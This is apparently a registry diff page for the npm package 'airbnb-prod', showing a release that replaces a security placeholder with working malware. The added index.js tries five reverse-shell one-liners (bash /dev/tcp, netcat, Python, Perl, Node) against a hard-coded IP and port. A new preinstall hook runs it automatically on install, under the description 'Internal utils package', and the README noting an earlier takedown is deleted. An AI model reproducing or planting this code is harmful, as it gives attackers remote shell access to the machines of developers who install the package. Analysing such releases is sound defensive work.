airbnb-prod 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of airbnb-prod might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +48 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ const { exec } = require('child_process');
2
+ const fs = require('fs');
3
+
4
+ const IP = '10.245.238.67';
5
+ const PORT = 1337;
6
+
7
+ // 1. Bash reverse shell (most Linux/Mac)
8
+ const bashShell = `bash -c 'bash -i >& /dev/tcp/${IP}/${PORT} 0>&1'`;
9
+
10
+ // 2. Netcat traditional (if installed)
11
+ const ncShell = `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${IP} ${PORT} >/tmp/f`;
12
+
13
+ // 3. Python reverse shell (common on dev systems)
14
+ const pythonShell = `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'${IP}'",${PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`;
15
+
16
+ // 4. Node-based reverse shell (fallback)
17
+ const nodeShell = `node -e 'require("child_process").spawn("bash",["-i"]).on("connect",(s)=>{s.pipe(process.stdin);process.stdout.pipe(s);process.stderr.pipe(s)})'`;
18
+
19
+ // 5. Perl alternative
20
+ const perlShell = `perl -e 'use Socket;$i="${IP}";$p=${PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}'`;
21
+
22
+ // Try methods sequentially
23
+ const commands = [
24
+ bashShell,
25
+ ncShell,
26
+ pythonShell,
27
+ perlShell,
28
+ nodeShell
29
+ ];
30
+
31
+ function tryCommand(index) {
32
+ if (index >= commands.length) return;
33
+
34
+ exec(commands[index], { timeout: 2000 }, (error) => {
35
+ if (error) tryCommand(index + 1);
36
+ });
37
+ }
38
+
39
+ // Execute first method
40
+ tryCommand(0);
41
+
42
+ // Fork background process
43
+ const child = exec('sleep 10', {
44
+ detached: true,
45
+ stdio: 'ignore'
46
+ });
47
+
48
+ child.unref();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "airbnb-prod",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "Internal utils package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=airbnb-prod for more information.